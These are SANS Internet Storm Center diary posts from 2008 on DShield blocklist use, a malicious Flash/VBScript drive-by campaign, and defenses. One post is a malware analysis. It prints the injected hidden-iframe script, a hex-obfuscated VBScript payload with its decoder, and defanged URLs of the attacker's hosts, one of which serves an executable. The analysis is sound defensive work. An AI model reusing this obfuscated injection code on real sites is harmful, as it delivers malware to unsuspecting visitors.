So, how do you monitor your website?
With all the talk of SQL injections and XSS and such, and all of these malicious SWFs, I was conversing with one of our readers, Steve, today and figured I'd ask the rest of you for some advice. Steve has a script that he uses to monitor his website for malicious content, but I was wondering, beyond the obvious of using Tripwire, AIDE, Samhain, Osiris, etc., what do you use to monitor your own websites? Let us know via the contact page, and we'll summarize the results this weekend.
Reminder: Proper use of DShield data
DShield currently only publishes one blocklist: http://www.dshield.org/block.txt . It removes some of the obvious false positives. Of course, like with any block list, you should still use it at your own risk.
In addition, we are publishing the "Highly Predictive Blocklists" (http://www.dshield.org/hpbinfo.html). These blocklists are currently experimental, and a new version of the software should actually be release shortly.
Finally, there are a number of other "lists". For example, the following list is quite popular:
http://www.dshield.org/ipsascii.html
Note the big disclaimer at the top of this list:
# ipsascii.html
# DO NOT USE AS BLOCKLIST
This list contains the top IPs, without any consideration to false positives.
Why don't we filter false positives?
Well, if it would be easy, we would do it. But first of all, DShield is a research tool. It has to provide consistent and complete data. In a particular case that came up today, a site was under DDoS attack. Our sensors picked up back scatter traffic and reported it to us. As a result, the site ended up in 'ipsascii.html'. I rather keep this type of activity in my database. Measuring backscatter is one thing we can do with our data. Another common false positive is P2P afterglow. But in case there is active scanning for P2P networks, we need to know what this afterglow looks like in order to substract it.
So again! stick to the recommended block lists. If you find an IP in our blocklist that shouldn't be there, let us know and we will remove it ASAP. But any raw data associated with the IP address will remain in our database. Finding an IP address in our database doesn't mean automatically that they are an "attacker" or "evil". To figure out what is happening, we need to look at the data in more detail.
Another example of malicious SWF
Jerry wrote in to tell us of a new variant on the theme of SWF files
being found in the wild. This ones uses encoded VBScript to deliver.
A google search for www.chliyi.com gives us over 5,000 hits! The likely
method of getting the malcious scripts on these web servers is SQL
injection, check your code regularly.
So, let's take a look at this one:
hxxp://www.chliyi.com/reg.js
Which contains:
if (navigator.systemLanguage=='zh-cn')
{
}
else{
document.writeln("<iframe src=hxxp://www.chliyi.com/img/info.htm
width=0 height=0></iframe>");
Downloading hxxp://www.chliyi.com/img/info.htm gives us the following:
<Script Language="VBScript">
Song = "3C536372697074204C616E67756167653D56425363726970743E0D0A094F6E204
572726F7220526573756D65204E6578740D0A09536574204F62203D20446F63756
D656E742E437265617465456C656D656E7428226F626A65637422290D0A094F622
E5365744174747269627574652022636C6173736964222C2022636C7369643A424
43936433535362D363541332D313144302D393833412D303043303446433239453
336220D0A0953657420506F70203D204F622E4372656174656F626A65637428224
1646F64622E53747265616D222C2222290D0A094966204E6F74204572722E4E756
D626572203D2030207468656E0D0A09094572722E636C6561720D0A0909446F637
56D656E742E77726974652028223C656D626564207372633D5C22666C6173682E7
377665C223E3C2F656D6265643E22290D0A0909446F63756D656E742E777269746
52028223C694672616D65207352633D7265616C2E68746D2077696474683D30206
865696768743D303E3C2F696672416D453E22290D0A0909446F63756D656E742E7
7726974652028223C694672616D65207352633D6E65772E68746D2077696474683
D30206865696768743D303E3C2F696672416D453E22290D0A09456C73650D0A090
9446F63756D656E742E77726974652028223C694672616D65207352633D68656C7
02E68746D2077696474683D30206865696768743D303E3C2F696672416D453E222
90D0A09456E642049660D0A3C2F5363726970743E"
Function Hex2Str(ByVal Ans):For i = 1 To Len(Ans)
Step 2:If IsNumeric(Mid(Ans, i, 1)) Then:tmpStr = tmpStr &
Chr("&H" & Mid(Ans, i, 2)):Else:tmpStr = tmpStr & Chr("&H" &
Mid(Ans, i, 4)):i = i + 2: End If: Next: Hex2Str = tmpStr: End Function
Document.Write Hex2Str(Song)
</Script>
<script language="javascript"
src="hxxp://count47.51yes.com/click.aspx?id=470732873&logo=12"></script>
This decodes using hex to string:
<Script Language=VBScript>
On Error Resume Next
Set Ob = Document.CreateElement("object")
Ob.SetAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
Set Pop = Ob.Createobject("Adodb.Stream","")
If Not Err.Number = 0 then
Err.clear
Document.write ("<embed src=\"flash.swf\"></embed>")
Document.write ("<iFrame sRc=real.htm width=0 height=0></ifrAmE>
")
Document.write ("<iFrame sRc=new.htm width=0 height=0></ifrAmE>"
)
Else
Document.write ("<iFrame sRc=help.htm width=0 height=0></ifrAmE>
")
End If
</Script>
Lets get hxxp://www.chliyi.com/img/flash.swf
Which gives us:
file flash.swf
flash.swf: Macromedia Flash data, version 9
swfdump flash.swf
[HEADER] File version: 9
[HEADER] File size: 858
[HEADER] Frame rate: 12.000000
[HEADER] Frame count: 771
[HEADER] Movie width: 550.00
[HEADER] Movie height: 400.00
[045] 4 FILEATTRIBUTES
[006] 336 DEFINEBITS defines id 0682
==== Error: Unknown tag:0x056 ====
[056] 40 (null)
[009] 3 SETBACKGROUNDCOLOR (ff/ff/ff)
==== Error: Unknown tag:0x056 ====
[056] 12 (null)
==== Error: Unknown tag:0x052 ====
[052] 383 (null)
==== Error: Unknown tag:0x04c ====
[04c] 25 (null)
[001] 0 SHOWFRAME 1 (00:00:00,000)
[000] 0 END
Which looks familiar to us now.
real.htm, new.htm, help.htm are also quite interesting.
strings flash.swf shows us another possible malware location:
FWS Z
urlmon.dll
;C:\6123t.exe
hxxp://www.jj120.com/inc/f_ckjp.exe
CC
new_fla
MainTimeline
flash.display MovieClip
new_fla:MainTimeline
frame1
addFrameScript
Object
flash.events
EventDispatcher
DisplayObject
InteractiveObject
DisplayObjectContainer
Sprite
new_fla.MainTimeline
I munged the name of the file to pass language filters.
When I checked jj120.com resolved to 219.153.18.216 and didn't
want to give me the file.
Thanks again Bojan and Jeremy!
Cheers,
Adrien de Beaupré
Bell Canada, Professional Services
Followup to Flash/swf stories
We've received quite a bit of mail about our stories yesterday about the malicious SWF files attempting to exploit older versions of the Adobe Flash player. So, here are a few of the things that have come out of our discussions.
- Our friends over at shadowserver.org (thanx, Steven) have a nice writeup that includes a bunch of domains they've noted that have the malicious SWF files.
- If you aren't sure which version of the flash player you are using, Adobe provides this page where you can check for yourself.
- On closer examination, this does not appear to be a "0-day exploit". Symantec has updated their threatcon info, as well. We have yet to see one of these that succeeds against the current version (9.0.124.0), if you find one that does, please let us know via the contact page.
- It appears that this exploit may be included in the Chinese version of the MPack exploit toolkit (among others).
- In case we weren't clear about it earlier, it appears that the infected web sites check which browser you are using in addition to the flash player version to determine which exploit to deliver.
There are several ways to protect yourself even if you have a vulnerable version of the Flash player.
- In Firefox, you can use either of the following add-ons, NoScript (one of our favorites, found here or here) or FlashBlock (here or here).
- In IE, see here for how to set the "killbit", the CLSID is BD96C556-65A3-11D0-983A-00C04FC29E36.
Update: (2008-05-28-16:54UTC) I was remiss in not mentioning Dancho Danchev's writeup.
Podcast Episode Five has been released
Morning everyone,
Just a quick note to let everyone know that we put out Podcast Episode 5 this morning. We had a special guest with us! Larry Pesce of PaulDotCom Security Weekly! The guys over at PaulDotCom do a great job, and we loved having Larry on the show! Congradulations to Paul, as he is home with a new baby!
Don't forget the Live Podcast that we are doing at SANSFIRE on July 23rd at 8pm.
iTunes users, go here to subscribe.
Non-iTunes users, go here to download.
Thanks!
--
Joel Esler
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